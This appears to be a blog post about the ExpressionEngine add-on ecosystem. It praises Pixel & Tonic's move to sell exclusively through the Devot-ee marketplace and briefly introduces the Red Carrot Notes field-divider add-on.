[Earlier this year EE add-on juggernaut Pixel & Tonic started selling exclusively through Devot-ee] as a way to refocus the pixelandtonic.com website and put the add-ons for sale where it made most sense.
From Brandon’s post back in April:
Back when the site launched, devot:ee was in its infancy, and its add-on store was merely a twinkle in Ryan Masuga’s eye. Now that site is a vital resource for the EE community, and with its user reviews, favorites, store, and now lists, it’s a much better place to find out about, share, and purchase our add-ons than this site could ever be. So rather than try to compete with that, we have decided to let devot:ee handle the dedicated add-on overview pages and purchasing exclusively. The EE add-ons section of this site is now an elegant menu of our add-ons, with links to devot:ee.
Devot-ee has proven itself as the place to be to buy, sell, and learn about add-ons for ExpressionEngine. People are buying there, so the developers who sold on their own are moving there. It makes sense for everyone.
It would be incomplete if I didn’t mention the obvious comparison between Devot-ee and the Apple App Store (for Mac apps, specifically). Many apps in the App Store are available on the developer websites but it is absolutely more convenient to have all of those apps in one place, right in my Apple account. I don’t have to worry about license codes, activation, going to multiple places to get app updates, or any of the annoyances of having my software purchases distributed across several different websites.
If a add-on is available on Devot-ee then that’s where I’ll buy it.
I have said it before: Ryan Masuga and his team built a website that I wish I had built. And I’d wager that EllisLab wishes they had built it, too.
If there’s an itch, you scratch it. Andie Fairlie (Red Carrot) did just that.
He came up with Red Carrot Notes, an ExpressionEngine field type that lets you put dividers (with copy) between fields in an ExpressionEngine publish form.
There are three options for each field divider: title, description, and color, so you can customize it exactly how you want. On Twitter, Andie mentioned that the field functions just like any other field, so you should be able to resize it, reorder it, etc.